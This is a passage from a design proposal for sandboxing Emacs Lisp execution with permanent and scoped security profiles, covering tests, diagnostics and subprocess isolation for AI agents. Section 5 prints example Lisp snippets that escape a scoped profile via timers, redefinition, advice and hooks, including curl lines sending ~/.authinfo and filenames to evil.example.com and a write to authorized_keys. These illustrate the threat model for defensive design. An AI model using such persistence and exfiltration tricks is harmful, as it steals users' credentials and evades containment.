  • restrict-to PROFILE — apply an entire target profile atomically. Takes a plist of the form (:read-folders ... :write-folders ... :execute ... :network ...), validates it against the current profile (each entry must be a tightening, never a widening), and applies all four restrictions in one call. This is the recommended form for non-trivial profiles, since it makes the target shape visible at the call site and matches the structure of the named profiles in 2.5 Suggested Named Profiles.
  • Named convenience profiles: passive-org, project-edit, project-agent, project-build, pkg-review.
  • security-tool-groups — user-customizable alist mapping keyword tags to lists of program names, used to resolve symbolic :execute entries. See 2.7 Named Tool Groups for the semantics. The default value is defined in lisp/security.el and may be modified in init.el at any point before the profile that depends on it is activated.
  • security-resolve-execute LIST — utility function that takes a mixed list of keywords and program names and returns the flattened, deduplicated, sorted concrete list of program names that would be installed if LIST were the :execute entry of an activated profile. Signals a security-unknown-tool-group error on unknown keywords and a security-tool-group-cycle error on cyclic group references. Useful for previewing a recommendation before approval.

Scoped-profile API. Reversible, operation-scoped restriction. Use for constraining a tool or operation that is mostly trusted but should not have ambient authority. This API defends a weaker threat model than the ratchet (see 5. Two Threat Models: Ratchet and Scoped Profile).

  • with-security-profile PROFILE &rest BODY — evaluate BODY with the current profile temporarily tightened by PROFILE. On exit (normal or non-local), the previous profile is restored. PROFILE takes the same plist form as restrict-to and must be a tightening of the currently active profile.

    This construct defends against direct calls to restricted primitives made from within BODY. It does not defend against persistent machinery (timers, advice, hooks, function redefinitions) installed during BODY that fires after the scope exits. Code that installs such machinery and relies on it firing later in the unrestricted context is outside the guarantee of the scoped form. The construct's docstring, the variable that names the active scoped profile, and a one-line message emitted the first time the construct is used in a session must surface this limit prominently.

    Inside BODY, the ratchet API is still available and behaves normally: calling restrict-X inside a with-security-profile tightens the profile permanently for the rest of the session. The scope-exit restoration only restores the part of the profile that the scoped form itself tightened; any tightening performed by the ratchet API inside the body persists.

New file test/lisp/security-tests.el provides ERT tests covering:

  • Each capability directly.
  • High-level Lisp functions reaching the primitive checks.
  • :execute in all three modes: t, nil, and the list form (basename matching, absolute-path matching, platform case semantics, denial of unlisted programs, denial of shell wrappers when the shell is not listed).
  • restrict-execute rejects shell names by default (sh, bash, cmd, powershell, etc., including absolute-path forms and the .exe variants on Windows) and accepts them only when :allow-shell t is passed.
  • Separation between read-only roots and read-write roots, including that :write-folders implies read access.
  • Symlink escape attempts.
  • Metadata oracle behaviour (denied file-exists-p signals, not returns nil).
  • TRAMP path denial.
  • Monotonicity: a second tightening call cannot widen a previous read or write root restriction, and cannot add programs to a previously set :execute allowlist.
  • restrict-to atomic application: a profile is rejected if any entry would widen the current profile, and all four restrictions are applied together when the profile is accepted.
  • with-security-profile: scope-exit restoration covers all four capabilities, restores correctly on non-local exit, rejects profiles that would widen the currently active profile, and composes correctly with ratchet calls performed inside the body (a ratchet tightening inside the body persists after scope exit; a scoped tightening does not).
  • with-security-profile documented non-guarantee: a timer scheduled inside the scope and fired afterward is not blocked by the scoped restriction (the test asserts this explicitly to encode the threat model).
  • security-tool-groups resolution: keywords resolve to the list of program names recorded under that key, nested keyword references are flattened recursively, the result is deduplicated and sorted, unknown keywords signal security-unknown-tool-group, and cyclic group references signal security-tool-group-cycle.
  • security-tool-groups snapshot invariant: an activated profile's :execute list is the resolved concrete list at activation time; later mutation of security-tool-groups does not affect the active profile, and does not affect entries already recorded in security-profiles.eld.

Estimated size: ~400–600 lines of Lisp.

3.10 Summary and Complexity Estimate

Area Primary files Points New lines (est.) Complexity
Profile infrastructure New security.c/h, lisp.h 500–750 Medium
File read / metadata fileio.c, dired.c, lread.c 13 100–130 Medium
File write / mutation fileio.c 10 80–100 Medium
Process execution callproc.c, process.c, w32fns.c 3 + 1 30–50 Low–Medium
Network process.c, xwidget.c 2 15–25 Low
Path normalization fileio.c (new helper) ~20 120–220 Medium
TRAMP detection fileio.c, dired.c, lread.c ~20 30–60 Low
Toolkit / GUI gates w32fns.c, xwidget.c 2–4 20–40 Low
Lisp API + tests lisp/security.el, test/ 500–750 Medium
Total ~8–12 files ~28 1530–2275 Medium–High

Under the exposed-root interpretation of :read-folders and :write-folders, path matching remains an important implementation concern, but it is no longer the dominant source of complexity. The dual-API design (ratchet floor plus scoped overlay) adds 200–300 lines over a ratchet-only implementation, split roughly evenly between the C overlay machinery and the Lisp ~with-security-profile macro plus its tests.

3.11 Introspection, Diagnostics, and Auditability

Some concerns raised by this proposal are not objections to the security model itself, but implementation requirements for making the model usable and debugeable in practice.

At minimum, the implementation should provide:

  • a way to inspect the current effective security profile,
  • clear security-denied errors that identify the denied capability and the relevant operation,
  • enough context to determine which restriction caused the denial,
  • Lisp-level APIs suitable for package authors and users to understand the active session constraints.

It should also be possible to understand how the ratchet reached its current state. Because restrictions are permanent for the lifetime of the session, the system should record tightening events in a form that can be inspected for debugging. This need not imply a complicated provenance system in v1, but the feature should not be a black box.

Concretely, the implementation should:

  • Emit a one-line message to *Messages* at every ratchet tightening, naming exactly what just became impossible and stating that the change is permanent for the session. For example: "Subprocess creation now restricted to: cargo, rustfmt, git. This cannot be undone in this session." This makes the irreversibility visible at the moment it happens, which is when the user is best positioned to notice a mistake.
  • Maintain a dedicated *Security Log* buffer recording each ratchet tightening with a timestamp, the call site (file and line where available), and the resulting effective profile. A single buffer is enough; the volume is low (a typical restricted session has at most a handful of tightening calls) and a buffer is the natural Emacs place to look.
  • Provide M-x describe-security-profile that displays the current effective profile in a human-readable form, including both the ratchet floor and any active with-security-profile overlay.
  • Make security-denied errors include the denied capability, the operation that was attempted, the relevant path or program name, and a backtrace pointer. The error message should be self-contained enough that a user who has never seen it before can identify which restriction caused the denial and where the denied call originated.

An audit-oriented mode may also be useful. In such a mode, operations that would be denied under enforcement could be logged with the same diagnostic structure, allowing users and package authors to observe the impact of a profile before adopting hard failure semantics. Audit mode should be the default for at least the first several releases of the feature, so that ecosystem code has a feedback channel before hard failures begin breaking package installations and ordinary workflows.

These requirements are especially important because the proposal intentionally changes the behaviour of familiar predicates such as file-exists-p for out-of-scope paths. Good diagnostics are therefore part of making the model operational, not part of its core security argument.

3.12 Key Risk Areas

  1. Path normalization and matching must be correct across Linux, macOS, and Windows. Even without promising full symlink-safe containment, the implementation still needs stable matching semantics for case folding, drive letters, UNC paths, and related platform-specific path forms.
  2. Metadata oracle: changing file-exists-p from returning nil to signalling an error for out-of-scope paths will break code that uses these predicates defensively. This is a deliberate and necessary design choice that must be clearly communicated to package authors.
  3. TRAMP interaction: the security check must be placed before Ffind_file_name_handler dispatch in each primitive, without interfering with legitimate handler calls in unrestricted sessions.
  4. Ecosystem impact of permanent restrictions: unlike a dynamic scope that can be exited, a ratchet tightening affects all subsequent code in the session. The API must make permanence explicit and conspicuous.

4. Critiques and Open Design Questions

This section records substantive critiques of the current proposal. Some of them may motivate design changes; others may remain accepted trade-offs. They are listed here so the proposal can be discussed against explicit objections rather than implicit discomfort.

4.1 Operational Cost of the Ratchet Remains, Even if Reduced

Earlier drafts of this proposal made the ratchet the only available construct, which made interactive mixed-trust work prohibitively awkward. The dual API — ratchet for adversarial threat models, scoped profile for incidental ones (see 5. Two Threat Models: Ratchet and Scoped Profile) — removes most of that operational cost.

A residual cost remains. The ratchet is still permanent, and users who need its stronger guarantees still have to accept that the affected session cannot return to unrestricted authority. The project profile mechanism (see 2.6 Project Profile Recommendations and User-Level Approval) and subprocess isolation (see 6. Subprocess Isolation) reduce how often that constraint binds, but they do not eliminate it. This is an honest trade-off: the strong guarantees of the ratchet have a cost, and the document should not pretend otherwise.

4.2 Mixed-Trust Workflows: What the Three Constructs Cover

Workflow Recommended construct
Whole session dedicated to constrained work Ratchet (restrict-to / restrict-*)
One operation in an otherwise unrestricted session, with-security-profile
incidental threat model  
One operation, adversarial threat model with-restricted-emacs (subprocess isolation)
Interactive editing of parent buffers under adversarial Not supported. Would require pervasive
threat model provenance tracking in the parent Lisp
  environment.

The last row is the remaining unsolved case — an AI agent editing files visible in the user's main session while being defended against timer/advice/hook attacks would require the write-barrier work rejected in 5.5 What Each Construct Guarantees. Users needing that combination must accept one of the available compromises: trust the agent (with-security-profile), accept the subprocess boundary (with-restricted-emacs), or dedicate the session (the ratchet).

4.3 Strict Allowlists Depend on a Parallel Shell-Migration Effort

The strictest practical use of this proposal — running an ordinary editing session with :execute set to a small allowlist of tools and no shell — exposes a friction that is not, strictly, a problem with the security model: a significant amount of Emacs functionality is implemented in terms of shell command strings rather than direct subprocess invocation. Under the §3.4 shell-rejection rule, M-x compile, M-x shell-command, M-!, grep-find (via xargs), and a long tail of package code that builds command lines as strings become unavailable.

This is the correct behaviour given the model: the shell is the foot-gun, and rejecting it is what makes the allowlist meaningful. But it leaves the strict-allowlist configuration meaningfully less usable than the unrestricted default, and the gap will only close as the surrounding ecosystem migrates away from shell strings.

This proposal does not undertake that migration, which is a separate and larger Emacs-core effort. It is named here for two reasons: to be honest about a real cost of the strict configuration, and to identify a concrete direction that makes strict allowlists progressively more livable as that work proceeds. Two parallel changes are particularly relevant:

4.3.1 Migrating *-command Variables to Argument-List Form

Many user-customizable *-command variables (compile-command, grep-command, grep-find-command, diff-command, the various vc-*-program variables) are documented as shell strings and consumed through shell-command or compilation-start. A backward-compatible migration would accept either a string (current behaviour, routed through the shell) or a list of the form (PROGRAM ARG ...) (routed directly through call-process or make-process). Users who want safety set the list form; users who do not notice nothing.

This is largely mechanical work: the customization type changes from string to (choice string (repeat string)), and each consumer dispatches on the type. The non-trivial cases are those where the string form embedded shell features (pipes, redirections, parameter expansion); these are addressed individually below.

4.3.2 Rewriting grep to Eliminate the xargs Pipeline

The current grep-find implementation in lisp/progmodes/grep.el builds a shell pipeline of the form find ... | xargs grep ... (or, with grep-find-use-xargs set to exec, find -exec grep {} +). The shell pipeline is historical: it exists because the original shell-level idiom spawned one grep per file unless batched through xargs or an exec ... + form. Inside Emacs the pipeline serves no purpose. Emacs already collects find's output, can chunk filename lists itself, and funnels all matching output into a single *grep* buffer through the compilation-mode filter machinery regardless of how many grep invocations produced it.

A direct rewrite spawns find via make-process, reads its null-separated stdout into Emacs, and dispatches batched grep invocations on the resulting filename lists — each batch sized to stay well under platform ARG_MAX. The output of each grep is filtered into the *grep* buffer using the standard compilation filter. For interactive responsiveness the rewrite should stream: dispatch the first grep batch as soon as a chunk of filenames has been collected, with subsequent batches following as more arrive. The user experience is identical to the current implementation; the rewrite no longer requires xargs, requires no shell, handles filenames with embedded spaces or newlines without escaping ceremony, and works on bare Windows without an msys-style POSIX environment.

The estimated effort is moderate — tens to low hundreds of lines in lisp/progmodes/grep.el — and the result is independently valuable: correct filename handling on every platform, Windows portability without an external POSIX environment, and a working M-x grep / M-x rgrep under a strict :execute allowlist containing only find and grep.

4.3.3 Scope

Neither change is part of this proposal. Users running the proposal today can maintain local patches; upstream migration proceeds on its own timeline.

5. Two Threat Models: Ratchet and Scoped Profile

The natural first design for a dynamic security facility is a scoped construct, with-security-profile, that restricts the body's execution and restores the previous profile on exit. An earlier version of this document concluded that the scoped construct was fundamentally flawed and should not be provided. That conclusion was too strong: the scoped construct and the monotone ratchet defend different threat models, and both should be available.

Construct Defends against Cost
with-security-profile Direct calls to restricted primitives from non-adversarial code Scoped, reversible, no session-wide change
Ratchet (restrict-*) Adversarial Lisp execution including persistent side effects Permanent for the session

The four subsections that follow exhibit the attack class the scoped construct does not defend against — persistent machinery installed inside the scope and fired later in the unrestricted context. The subsections are necessary as documentation of the scoped form's limits, not as an argument against it: most uses motivated by 1.2 What This Proposal Addresses (an Org babel block that phones home, an AI agent that writes outside the project, a package under review) are not the adversary this attack class describes. §5.5 closes by stating what each construct positively guarantees.

5.1 Timers

Timers (run-with-timer, run-at-time) are dispatched from C in keyboard.c:timer_check_2 (line 4760), after the with-security-profile dynamic binding has been unwound:

(with-security-profile 'project-readonly
  (run-with-timer 0.1 nil
    (lambda ()
      (write-region "exfil" nil "~/.ssh/authorized_keys"))))
;; Scope exits; profile is restored.
;; 100 ms later the timer fires unrestricted and the write succeeds.

Process filters and sentinels (dispatched from src/process.c) have the same property. Capturing the active profile in the timer vector and restoring it before the handler runs would fix this, but requires changing the timer vector format in lisp/timer.el and the dispatch sites in keyboard.c and src/process.c. The scoped form does not attempt this; the ratchet does not need it.

5.2 Function Redefinition

defun, fset, defalias, and cl-defmethod mutate global function bindings. Mutation made inside the scope persists after exit:

(with-security-profile 'project-readonly
  (defun write-region (start end filename &rest args)
    (shell-command
      (concat "curl --data-binary @" filename " https://evil.example.com"))
    (apply #'orig-write-region start end filename args)))
;; Every subsequent write-region call now exfiltrates.

Under the ratchet, the malicious replacement still installs, but the inner shell-command hits the permanent :execute check and is denied.

5.3 Advice

advice-add attaches persistent wrappers that survive the scope exit and are harder to notice than an outright redefinition:

(with-security-profile 'project-readonly
  (advice-add 'find-file :before
    (lambda (filename &rest _)
      (shell-command
        (concat "curl -d " (shell-quote-argument filename)
                " https://evil.example.com")))))
;; Every subsequent find-file call exfiltrates the filename.

find-file itself is not redefined; the wrapper runs whenever find-file is called, in an unrestricted context.

5.4 Hook Modifications

add-hook adds functions that fire repeatedly throughout the session:

(with-security-profile 'project-readonly
  (add-hook 'after-save-hook
    (lambda ()
      (shell-command
        "curl --data-binary @~/.authinfo https://evil.example.com"))))
;; Every subsequent file save exfiltrates ~/.authinfo.

5.5 What Each Construct Guarantees

The four examples share a structure: code in the scope installs persistent machinery (a timer, a redefinition, advice, a hook); the scope exits; the machinery fires later, unrestricted, and the denied operation succeeds. The root cause is that Emacs Lisp state is global and mutable: a dynamic scope can restrict what code does during execution, but cannot undo side effects left behind. Defending against this within the scoped model would require either snapshotting all global Lisp state on entry (infeasible) or a comprehensive write-barrier on every form of Lisp mutation (very invasive). Neither is practical.

This is the boundary of what with-security-profile defends. The positive statements are:

  • with-security-profile guarantees that direct calls to restricted primitives made by code executing in the body — including code in functions the body calls, packages it loads, and ordinary Lisp it evaluates — are denied at the C check. This covers the §1.2 cases: Org babel blocks, AI agents in known workflows, packages under review, one-off analysis passes. It does not cover code that installs persistent machinery during the body for later firing. The implementation surfaces this limit per 3.11 Introspection, Diagnostics, and Auditability.
  • The ratchet guarantees that restricted operations are denied for the rest of the session regardless of the path: original code, redefined functions, advice wrappers, hooks, and timers registered before the ratchet was tightened all hit the same C check and are denied. This is the right tool when the code being run is actively distrusted.

Mixed-trust workflows that need both — discrete restricted operations inside a long-lived interactive session — combine the scoped form for non-adversarial operations with 6. Subprocess Isolation for operations requiring the stronger guarantee.

6. Subprocess Isolation

Note: this is still under consideration and probably low priority.

For workflows that need the ratchet's full guarantee but cannot accept a session-wide ratchet, the model offers a third option: run the restricted work in a separate Emacs process ratcheted from the start. The §5 side-effect channels do not span the process boundary — a timer scheduled in the child fires in the child and is denied there; advice installed in the child does not affect the parent — so the child enjoys the full ratchet guarantee while the parent remains unrestricted.

6.1 The with-restricted-emacs Macro

The core construct is:

(with-restricted-emacs PROFILE
  BODY...)

where PROFILE is the same plist form accepted by restrict-to and with-security-profile. Evaluation proceeds as follows:

  1. A child Emacs process is started. By default this is emacs --batch with the parent's Q flag (no init file); a configuration option can override this to use a dedicated long-lived emacsclient server.
  2. The child applies PROFILE via the ratchet API as its first action, before evaluating any user-supplied code.
  3. BODY is sent to the child for evaluation over a stdio or socket IPC channel, marshaled as Lisp s-expressions. The body executes in the ratcheted child.
  4. The result is marshaled back to the parent and returned as the value of with-restricted-emacs.

If the body signals an error in the child, the error is re-raised in the parent with a wrapping condition that identifies it as having originated in a restricted child. If the child crashes or fails to start, the parent signals restricted-emacs-failed.

6.2 What Crosses the Boundary

The IPC protocol carries:

  • The body forms, as Lisp data.
  • A small set of allowed values in the body's lexical environment, passed by value at child startup time and read-only inside the child.
  • The body's return value, as Lisp data.

The protocol does not carry:

  • The parent's full Lisp state: variables, hooks, advice, loaded packages.
  • Open buffer contents, unless explicitly passed as values.
  • File handles, network connections, or other live resources.

This narrow boundary is the point. The child is a fresh Emacs that knows only what it is told. Code in the body cannot reach into the parent's buffers, install hooks in the parent, or learn anything about the parent's configuration beyond what was passed explicitly.

6.3 Worked Example: an AI Agent Operating on Project Files

An agent that should edit project files, run tests, and return a summary of its changes:

(with-restricted-emacs
    '(:write-folders ("/home/user/src/project/")
      :execute ("cargo" "rustfmt" "git")
      :network nil)
  (agent-edit-files '("src/foo.rs" "src/bar.rs")
                    :goal "fix the failing tests in module foo")
  (agent-summary))

The parent's session is unaffected. The child cannot read ~/.authinfo, cannot open network connections, and cannot launch any subprocess other than cargo, rustfmt, or git. Any timer, advice, or hook installed by the agent fires in the child and is denied there. When the body returns, the child exits (or, with a persistent emacsclient server, returns to idle); the parent receives the summary and continues unrestricted.

6.4 Limits of the Pattern

Subprocess isolation fits batch-like restricted work: bounded input, bounded duration, returnable result. It is a poor fit for interactive restricted work, since exposing the parent's buffers and UI to the child would re-introduce the authority the isolation is meant to remove. The combination "interactive editing of parent buffers under the full §5 threat class" is therefore unsupported (see also 4.2 Mixed-Trust Workflows: What the Three Constructs Cover).

6.5 Implementation Notes

The IPC layer should reuse existing Emacs machinery where possible:

  • start-process with stdio for short-lived emacs --batch children.
  • make-network-process to a Unix-domain socket for long-lived emacsclient servers.
  • The existing print / read pair for marshaling, with a small wrapper that rejects unreadable values (buffers, markers, processes, frames) rather than serializing them.

The child startup cost (typically 50–200 ms for emacs --batch without an init file, 10 ms for an already-running ~emacsclient server) is the main operational cost. For workflows that invoke with-restricted-emacs repeatedly with the same profile, a persistent server should be the default; for one-off restricted operations, a fresh --batch child is acceptable.

The child must apply PROFILE before evaluating any user-supplied code, including any code in the body's lexical environment. The launch sequence is therefore: start child, apply profile via the ratchet API, then evaluate body. The child's own init file must not run (-Q flag), since an init file could install machinery that fires before the ratchet is applied.

Estimated implementation size: 300–500 lines split between a new ~lisp/restricted-emacs.el (the macro, the IPC marshaling, the server management) and src/security.c (a small --security-profile command-line flag that applies a ratchet from a plist at startup).